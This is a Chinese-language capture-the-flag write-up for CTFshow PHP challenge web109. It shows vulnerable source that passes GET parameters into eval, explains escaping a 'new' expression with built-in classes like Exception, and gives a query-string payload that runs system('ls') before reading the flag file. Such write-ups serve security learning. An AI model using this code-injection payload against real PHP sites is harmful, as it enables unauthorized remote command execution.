CTFshow php特性 web109
目录
- 源码
- 思路
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34*/highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}?>
思路
这题的话,发现对v1,v2没什么限制,是不是就可以任意构造方法了,我们只要任意new一个内置类,后面的v2就逃逸出来了,但是大部分内置类都需要传入参数,不然实例化的时候执行 __construct,没有参数的话会导致执行失败,程序就停止了.
怎么找符合条件的内部类呢,正常情况下类不能直接用echo输出,除非类中有__toString(把类当作字符串使用时触发),而且构造方法和返回结果一样
下面的代码我们可以控制__toString的返回值,只要满足以下条件的内置类就没问题了
class kradress{public $test;public function __construct($a){$this->test = $a;}public function __toString(){return $this->test;}
}// 0=phpinfo 返回phpinfo页面
eval("echo new kradress($_GET[0]);");
出现报错还是可以继续执行的内置类也可以
以下内置类满足条件
Exception //有报错
ReflectionClass //需要传入一个已有的类或者直接执行函数
题解
解法有很多 `?v1=exception;system('ls');/*&v2=a` ![在这里插入图片描述](https://img-blog.csdnimg.cn/0c0e76b8d4c04f10b7bc773f0bfa5341.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAS3JhZHJlc3M=,size_20,color_FFFFFF,t_70,g_se,x_16) 访问fl36dg.txt,拿到flag
总结
水题
CTFshow php特性 web109相关推荐
- ctfshow php特性 下
目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...
- ctfshow php特性(89——150plus)
web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...
- ctfshow php特性 web89-web115 web123-150wp
php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...
- CTFshow php特性 web150plus
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web150
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web147
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web140
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web138
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web137
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
最新文章
- 搭建Ubuntu18.04+Anaconda3.x+Pycharm+SimpleITK(三)
- zcmu1550(字符串最小表示法)
- oracle中创建实体,生成实体-SqlSugar 4.x-文档园
- 主板有电无法启动_电脑无法开机?这篇文章让你省下几百修理费
- jar httpclient 少包,此处 区别 common-http包
- 记一次PHP服务器500错误的解决方法
- pragma pack对齐方式详细介绍
- 关于vc6++编译DDK驱动出现的问题fatal error C1083: Cannot open include file: 'specstrings.h': No such file or dir
- 【Javascript】用 js 写一个模板引擎
- 图书信息管理系统(MVC设计模式)
- 实现主人领养宠物并带宠物去玩,狗狗叼飞碟,企鹅去南极游泳
- eigen求特征值和特征向量
- 资源管理Placement部署(Nova)
- 在家谱中查找关系远近
- java生成随机数字和字母
- 语音转文字转换器怎么用,免费的语音转文字方法介绍
- 关于jeecg 项目的莫名其妙的问题
- 文件服务器均衡负载,文件服务器均衡负载
- ubuntu使用xopen软件
- nlp中文本相似度匹配
热门文章
- 2014/08/13 – Backbonejs
- [置顶] Spring中DI设置器注入
- 快速构建Windows 8风格应用14-ShareContract概述及原理
- rsync与inotify实现数据实时同步
- http://miicaa.yopwork.com/help/overall/
- 融入产业生态的靶向孵化
- SVN服务器从Windows迁移到Linux
- LeetCode - Palindrome Number
- c# 因其保护级别而不可访问。只能处理公共类型。
- 30个Oracle语句优化规则详解